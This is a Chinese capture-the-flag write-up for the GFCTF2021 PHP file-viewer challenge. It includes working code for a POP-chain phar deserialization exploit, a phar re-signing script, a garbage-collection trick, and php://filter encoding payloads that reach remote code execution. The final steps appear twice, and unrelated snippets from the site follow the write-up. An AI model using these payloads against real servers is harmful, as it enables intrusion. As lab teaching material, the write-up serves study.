[GFCTF2021]文件查看器复现

考点:

1.php反序列化

2.可调用对象数组对方法的调用

3.编码转换的利用

4.php伪协议过滤器的利用

5.垃圾回收GC机制的利用

开局登录页面,输入admin,admin之后进入文件查看页面,并且扫描后发现有www.zip源码泄露

稍微探究一下,发现这个项目的设计模式很有意思

index.php

<?php// `__autoload`在PHP 7版本之后已经被`spl_autoload_register`代替了function __autoload($className) {include("class/".$className.".class.php");}if(!isset($_GET['c'])){header("location:./?c=User&m=login");}else{$c=$_GET['c'];$class=new $c();if(isset($_GET['m'])){$m=$_GET['m'];$class->$m();}}
//感觉有点像springboot路由的那种设计思想,用到哪个类就自动导入哪个类,然后执行类中的对应功能
//这也决定了之后为什么能在Files里反序列化其他类

主要看3个php,Files,Myerror,User

只有User类有析构函数作为入口点,于是着手构造POP链子

这里链子的逻辑比较简单,就不赘述,下面主要讲一点涉及到的新特性

POP链:

class User{public $username;public $password;public function check(){if($this->username==="admin" && $this->password==="admin"){return true;}else{        echo "{$this->username}的密码不正确或不存在该用户";}}public function __destruct(){($this->password)();}public function __call($name,$arg){ ($name)();}}class Myerror{public $message;public $test;public function __tostring(){            $test=$this->message->{$this->test};return "test";}
}class Files{public $filename;public function __get($key){($key)($this->arg);}
}
$User_1=new User();
$User_2=new User();
$User_1->password=[$User_2,'check'];
$Myerror_1=$User_2->username=new Myerror();
$Files_1=$Myerror_1->message=new Files();
$Myerror_1->test="system";
$Files_1->arg="cat /f*";//生成phar$phar = new Phar('test.phar'); //必须是phar为后缀
$phar->startBuffering(); //开始写入
$phar->setStub('GIF89A'.'<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt', 'vfree');  //随便写
$object = array($User_1,0);
$phar->setMetadata($object);  //将meta-data写入缓存中
$phar->stopBuffering(); //停止写入,并且创建输出一个phar文件

($this->password)();这个代码决定了我们只能使用没有this前缀的方法,比如phpinfo,而不能使用类中的方法(如check),原因是如果我们给password赋值为’check’,那么最终执行的就是check()而不是this->check()

所以这里面涉及到第2个考点:可调用对象数组对方法的调用

先看一个例子:

<?php
class aA{public function check(){echo "check"."\n\r";}}
$password=[new aA(),'check'];
//$password=['aA','check'];
($password)();

执行这段代码后会调用aA中的方法check,打印出’check’,这里涉及到PHP7引入的一个新特性 Uniform Variable Syntax,它扩展了可调用数组的功能,增加了其在变量上调用函数的能力,使得可以在一个变量(或表达式)后面加上括号直接调用函数。

也可以说是call_user_func($password)的语法糖

还有一个之前没见过的点,

$test=$this->message->{$this->test};

这里涉及到的一个点叫做动态属性,其实含义上就是 t h i s − > m e s s a g e − > ( this->message->( this>message>(this->test),只不过php语法不允许这么用括号罢了

找上传点

代码中没有明显unserilizer,但可以写文件(虽然无法控制内容,这里先按下不表),这时候应该想到利用phar打反序列化

但是发现有过滤检测,无法使用phar://来反序列化

但我们可以观察发现,他是先执行file_get然后再检测,那么我们有没有办法用phar://反序列化后立即执行User的析构函数,这样我们反序列化完你爱怎么过滤就怎么过滤,跟我们没有关系

这时候要祭出我们的GC垃圾回收机制了

PHP的垃圾回收机制主要是为了解决内存泄漏的问题。

在PHP中,内存管理主要通过引用计数实现。每个PHP变量都有一个引用计数,当引用计数减少到0时,PHP就知道这个变量不再被使用,于是释放它所占用的内存。

关于引用计数,可以看PHP官方手册,解释的很清楚

垃圾回收机制

当运行垃圾回收器时,PHP会检查所有已经unset但引用计数仍大于0的变量,看它们是否真的无法访问)。如果是,那么PHP会删除这些变量并回收它们占用的内存。

对于这道题来说,我们虽然不能用unset来手动删除User的引用计数,但是我们可以通过另一种方法来使使PHP认为User类对象是一个没有被引用的垃圾,这样就能提前触发destruct

结合一个简单的例子加强理解

<?php
class User{public function __destruct(){echo "执行了析构函数"."\n\r";}
}
//echo serialize(array(new User(),1));
$str='a:2:{i:0;O:4:"User":0:{}i:1;s:1:"1";}';$re=unserialize($str);
echo "程序已结束,准备销毁所有对象";
?>

正常情况下,显示

我们更改一下这个序列化字符串,

$str='a:2:{i:0;O:4:"User":0:{}i:0;s:1:"1";}';
//把第二个元素1的索引改为0

可以发现User对象的析构函数在程序结束之前就执行了

这是因为,PHP在反序列化这个数组时,首先构建第一个元素User对象,此时索引[0]指向了这个User,引用计数为1,之后在我们的手动改造下索引[0]又指向了第二个元素1,之前创建的User对象失去了唯一的引用,触发了GC机制,于是PHP垃圾回收器提前删除了这个对象,所以也就提前执行了析构函数

还有一种情况

unserialize($str);

如果是直接反序列化而不给赋值的话,也会提前执行析构函数

我们要用这个机制来绕过filter检测

Phar修复

把生成的phar丢进010或者Winhex,手动修改第二个元素索引为0,用脚本重新签一下名

from hashlib import sha1
f = open('test.phar', 'rb').read() # 修改内容后的phar文件
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMB
open('phar1.phar', 'wb').write(newf) # 写入新文件

PHP官方对于签名结构的讲解,一共28个字节,比较简单

PHP: Phar Signature format - Manual

上传Phar

关键是这两个函数:read,getFile

public function read(){include("view/file.html");if(isset($_POST['file'])){$this->filename=$_POST['file'];}else{die("请输入文件名");}$contents=$this->getFile();echo '<br><textarea class="file_content" type="text" value='."<br>".$contents;}public function filter(){if(preg_match('/^\/|phar|flag|data|zip|utf16|utf-16|\.\.\//i',$this->filename)){echo "这合理吗";throw new Error("这不合理");}}public function getFile(){$contents=file_get_contents($this->filename);$this->filter();if(isset($_POST['write'])){file_put_contents($this->filename,$contents);}if(!empty($contents)){return $contents;}else{die("该文件不存在或者内容为空");} }

虽然表面上不能控制写的内容,但是通过伪协议和过滤器是可以改变一些文件内容的

现在我们万事俱备,只欠如何上传phar到靶机中,这里用到报错日志error.txt

直接复制二进制文件肯定是不现实的,我们这里用base64编码试试

勾选重写,让报错信息带着编码过的信息一起写进去

再用php://filter/read=convert.base64-decode/resource=log/error.txt解码报错,这是因为解码的是整个error.txt,其中包括了其他非编码信息,而Base64会将所有数字,字母/+=都认为是需要编码的

所以我们需要将除了我们自己的payload之外的全部转换为乱码,这样Base64就会忽略那些乱码,只解码我们自己的payload

UCS-2编码

UCS-2 编码使用固定2个字节,所以在ASCII字符中,在每个字符前面会填充一个 00字节(大端序),但将报错信息写入error时并不是二进制,所以我们不能直接传递00字节

lanb0
=>
\x00l\x00a\x00n\x00b\x000

Quoted-Printable编码

“Quoted-Printable"编码的基本原则是:安全的ASCII字符(如字母、数字、标点符号等)保持不变,空格也保持不变(但行尾的空格必须编码),其他所有字符(如非ASCII字符或控制字符)则以”="后跟两个十六进制数字的形式编码

lanb0\n
=>
lanb0=0A

可以通过这个编码来把00字节当做ASCII字符传进error.txt

综上所述,我们的思路就是:把phar的二进制数据先用base64编码,然后用UCS-2编码(相当于给我们自己的payload打上’标记’,这个标记就是’00’),最后用Quoted-Printable来解决00字节的无法传递问题

一键编码脚本

<?php
$a=file_get_contents('phar1.phar');//获取二进制数据
$a=iconv('utf-8','UCS-2',base64_encode($a));//UCS-2编码
file_put_contents('2.txt',quoted_printable_encode($a));//quoted_printable编码
file_put_contents('2.txt',preg_replace('/=\r\n/','',file_get_contents('2.txt')).'=00=3D');//解决软换行导致的编码结构破坏

在 Quoted-Printable 编码中,为了防止编码后的字符串过长,通常会在每76个字符后插入一个软换行,也就是 = 符号加上一个换行符。

最终利用

复制编码后的内容,传到error里

接下来的步骤需要按顺序来,并且需要勾选重写选项

解码quoted-printable

php://filter/read=convert.quoted-printable-decode/resource=log/error.txt

解码UCS-2

php://filter/read=convert.iconv.UCS-2.UTF-8/resource=log/error.txt

解码base64

php://filter/read=convert.base64-decode/resource=log/error.txt

到这一步时,最后用phar://log/error.txt来反序列化rce

接下来的步骤需要按顺序来,并且需要勾选重写选项

解码quoted-printable

php://filter/read=convert.quoted-printable-decode/resource=log/error.txt

解码UCS-2

php://filter/read=convert.iconv.UCS-2.UTF-8/resource=log/error.txt

解码base64

php://filter/read=convert.base64-decode/resource=log/error.txt

最后用phar://log/error.txt来反序列化rce

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/252700.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

试试Visual Studio中新的远程文件查看器

今天&#xff0c;我们很高兴地宣布&#xff0c;在 Visual Studio 17.6 Preview 1 中&#xff0c;一项新的工具窗口诞生&#xff1a;远程文件查看器。 通过这个工具窗口&#xff0c;你可以从远程计算机上浏览&#xff0c;上传和下载文件。另外&#xff0c;可以通过 Visual Studi…

OFFICE专业增强版2016 32位安装VISIO出错记录

系统为64位&#xff0c;此时想安装VISIO2016 23位&#xff0c;出现如下问题&#xff1a; 参考&#xff1a;原文链接&#xff1a;https://blog.csdn.net/M_try/article/details/113571471 即可解决&#xff1a; 第一步&#xff1a;按住键盘上的“WinR”&#xff0c;打开运行窗…

【安装教程】 【Visio2019】(附带安装包下载)

&#xff08;注意&#xff01;&#xff01;&#xff01; 安装完成之后&#xff0c;会覆盖原版的office&#xff01;&#xff01;&#xff01;&#xff09; https://pan.baidu.com/s/1uOcHz-fTEMsQhwU_yP6j71Q 一、Visio2019安装步骤 1.解压【Visio2019.rar】压缩包。&#xff…

visio哪个版本好用

Office Visio 是office软件系列中的负责绘制流程图和示意图的软件,是一款便于IT和商务人员就复杂信息、系统和流程进行可视化处理、分析和交流的软件.使用具有专业外观的 Office Visio 图表,可以促进对系统和流程的了解,深入了解复杂信息并利用这些知识做出更好的业务决策 vis…

流程图软件,visio,安装下载教程

建议&#xff1a;如果是插入到word中&#xff0c;建议使用2013版的visio&#xff0c;通过插入对象的方式&#xff0c;插入到word中。 方法一&#xff1a;插入-对象-新建visio 方法二&#xff1a;visio中画好图&#xff0c;插入-对象-由文件创建 这样的word中的visio对象&…

Visio从安装到使用完整版

文章目录 前言一、安装二、教程1.安装模具库2.如何制作模具库3.其他3.1 编辑上下标3.2 在visio中插入数学公式3.3 布尔运算3.4 设置任意两个点相连 总结 前言 最近需要使用Visio进行绘图&#xff0c;用了一个晚上学习了该软件&#xff0c;然后进行了一定的整理&#xff08;从安…

visio 2020 最新版安装过程及注意事项

visio 2020官方版是一款由Microsoft公司精心打造的实用型流程图绘制软件&#xff0c;visio 2020免费版功能全面&#xff0c;可以帮您快速且直观地绘制出各种流程图&#xff0c;Microsoft visio 2020软件便捷好用&#xff0c;支持多种流程图、网络图、组织结构图、工程设计以及其…

PyCharm激活

原文地址:https://blog.csdn.net/u014044812/article/details/78727496 社区版和专业版区别: 因公司的需求&#xff0c;需要做一个爬取最近上映的电影、列车号、航班号、机场、车站等信息&#xff0c;所以需要我做一个爬虫项目&#xff0c;当然java也可以做爬虫&#xff0c;但是…

PyCharm 激活

今天给大家带来新的激活补丁;原来使用激活码激活也可以换成补丁激活了&#xff0c;已激活过的请忽略〜 激活前准备工作 激活前请先关闭pycharm修改配置文件的时候你需要填写你的安装路径如果出现修改配置文件后无法打开pycharm&#xff0c;那就移动补丁的位置&#xff0c;比如…

中国互联网众筹行业

近些年&#xff0c;中国互联网发展迅速&#xff0c;众筹这种起源于美国的新型互联网金融模式更是一直处于风口浪尖。在“大众创业、万众创新”的背景下&#xff0c;这种低门槛的融资模式也深受欢迎&#xff0c;加上阿里、京东、苏宁三大电商的巨头的相继入场&#xff0c;更令这…

京东,你玩的是众筹还是预售?

随着众筹的火热&#xff0c;互联网巨头们也纷纷将触手伸向了这块大蛋糕。淘宝众筹、苏宁众筹、京东众筹&#xff0c;三大电商众筹平台可谓三分天下&#xff0c;京东众筹以一贯高调的风格赚足了人们的眼球。 三足鼎立&#xff0c;一丝心寒 据鸣金网统计&#xff0c;截止至2015年…

小牛电动京东众筹活动中的违约行为记录

2019独角兽企业重金招聘Python工程师标准>>> * 在发货顺序上&#xff0c;最初约定的是按照订单顺序&#xff0c;并且众筹规则中约定优先发货给众筹用户。可在众筹发货前&#xff0c;O2O的店里已经开始售卖。发货顺序则完全看小牛心情。。。 * 在发货时间上&#xff…

八爪鱼爬取数据—以京东众筹为例

八爪鱼爬取数据—以京东众筹为例 第一步&#xff0c;打开八爪鱼&#xff0c;选择自定义采集&#xff1b;第二步&#xff0c;将网页输入“网址”框内&#xff0c;点击“保存网址”&#xff1b;第三步&#xff0c;在出现的网址内容中选择“下一页”—循环点击下一页&#xff0c;第…

Scrapy框架爬虫—以京东众筹为例

Scrapy框架爬虫——以京东众筹为例 第一步&#xff0c; 打开命令提示符&#xff0c;创建一个Scrapy框架&#xff1b;第二步&#xff0c;定位到创建的文件夹&#xff1b;第三步&#xff0c;在spider文件夹中创建一个.py文件&#xff08;注&#xff1a;不要关闭命令提示符&#x…

电梯调度算法简单实现(c语言)

一、算法思想 电梯算法与扫描算法类似&#xff0c;但磁头不会每次都移动到柱面尽头&#xff0c;一旦当前方向上没有访问请求但相反方向上有请求时&#xff0c;就改变磁头臂的移动方向继续处理。电梯算法的本质是一个具有方向约束的最短寻道时间优先算法&#xff08;SSTF算法&am…

电梯调度算法-C++

1.算法解析 扫描算法&#xff08;SCAN&#xff09;又称电梯调度算法&#xff0c;SCAN算法是磁头前进方向上的最短查找时间优先算法&#xff0c;它排除了磁头在盘面局部位置上的往复移动&#xff0c;SCAN算法在很大程度上消除了SSTF算法的不公平性&#xff0c;但仍有利于对中间…

磁盘寻道算法 电梯调度算法 C++实现

磁盘寻道算法 电梯调度算法 C实现 #include<iostream> using namespace std; #include<vector> #include<algorithm> compute(vector<int> v,int x,int d) {double w1;sort(v.begin(),v.end());if(d1){cout<<endl<<" 磁头从"…

电梯算法java_电梯调度算法总结

一 :任务要求 本次的程序任务和要求如上图所示,需要有4部电梯同时运行,每部电梯都有自己的限制且被同一控制器所控制,希望有图形显示效果,本次的任务我们组已经完成,关于编程的历程与总结现在就一一道来。 二:初步构想阶段 我们先尝试解决最核心的问题,即电梯的调度算法…

群控电梯调度算法

Java面试笔试面经、Java技术每天学习一点 公众号Java面试 关注我不迷路 1.传统电梯调度算法 1.1先来先服务算法(FCFS) 先来先服务(FCFS-First Come First Serve)算法&#xff0c;是一种随即服务算法&#xff0c;它不仅仅没有对寻找楼层进行优化&#xff0c;也没有实时性的特征&…

操作系统实验:驱动调度 模拟电梯调度算法 C语言实现

一&#xff1a;实验内容 模拟电梯调度算法&#xff0c;对磁盘进行移臂和旋转调度。 二.实验题目 (1).“驱动调度”进程和“接收请求”进程能否占有处理器运行&#xff0c;取决于磁盘的结束中断信 号和处理器调度策略。在实验中可用随机数来模拟确定这两个进程的运行顺序&…